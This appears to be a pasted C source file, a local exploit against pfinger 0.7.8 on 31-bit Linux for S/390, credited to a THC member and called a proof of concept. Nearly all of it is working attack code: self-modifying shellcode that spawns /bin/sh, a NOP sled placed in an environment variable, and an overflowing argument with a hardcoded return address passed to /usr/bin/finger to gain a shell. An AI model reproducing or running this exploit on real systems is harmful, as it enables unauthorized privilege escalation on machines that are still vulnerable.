thc390pfinger.c 2.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354
  1. // linux390 (31bit) pfinger-0.7.8 <= local exploit
  2. // 390 sploit by jcyberpunk@thehackerschoice.com
  3. // diz is just a lame proof of concept sploit
  4. // to show how easy 390linux exploitation is
  5. #include <stdio.h>
  6. #include <unistd.h>
  7. char shellcode[]=
  8. "\x0c\x10" /* bassm %r1,%r0 */
  9. "\x41\x90\x10\x48" /* la %r9,72(%r1) */
  10. "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
  11. "\xa7\x68\x04\x56" /* lhi %r6,1110 */
  12. "\x1a\x6a" /* ar %r6,%r10 */
  13. "\x42\x60\x10\x48" /* stc %r6,72(%r1) */
  14. "\x17\x22" /* xr %r2,%r2 */
  15. "\x0d\xe9" /* basr %r14,%r9 */
  16. "\xa7\x68\x04\x7a" /* lhi %r6,1146 */
  17. "\x1a\x6a" /* ar %r6,%r10 */
  18. "\x42\x60\x10\x49" /* stc %r6,73(%r1) */
  19. "\x0d\xe9" /* basr %r14,%r9 */
  20. "\xa7\x68\x04\x57" /* lhi %r6,1111 */
  21. "\x1a\x6a" /* ar %r6,%r10 */
  22. "\x42\x60\x10\x49" /* stc %r6,73(%r1) */
  23. "\x41\x20\x10\x4c" /* la %r2,76(%r1) */
  24. "\x50\x20\x10\x54" /* st %r2,84(%r1) */
  25. "\x41\x30\x10\x54" /* la %r3,84(%r1) */
  26. "\x17\x44" /* xr %r4,%r4 */
  27. "\x42\x40\x10\x53" /* stc %r4,83(%r1) */
  28. "\x50\x40\x10\x58" /* st %r4,88(%r1) */
  29. "\x41\x40\x10\x58" /* la %r4,88(%r1) */
  30. "\x0d\xe9" /* basr %r14,%r9 */
  31. "\x0b\x17" /* svc n after self-modification */
  32. "\x07\xfe" /* br %r14 */
  33. "\x2f\x62" /* /b */
  34. "\x69\x6e\x2f\x73" /* in/s */
  35. "\x68\x5c"; /* h\ */
  36. int main(void)
  37. {
  38. unsigned int i;
  39. unsigned char buf[256],*b;
  40. unsigned char sc[256];
  41. unsigned char nop[]="\x17\x44";
  42. memset(buf,0,256);
  43. memset(buf,'x',160);
  44. b = sc;
  45. for(i=0;i<=100;i++) *b++ = nop[i%2];
  46. *(unsigned long *)(buf+160)=0x7fffff92;
  47. memcpy(&sc[100-strlen(shellcode)],shellcode,strlen(shellcode));
  48. memcpy(sc,"evil=",5);
  49. putenv(sc);
  50. execl("/usr/bin/finger", "finger", buf, NULL);
  51. }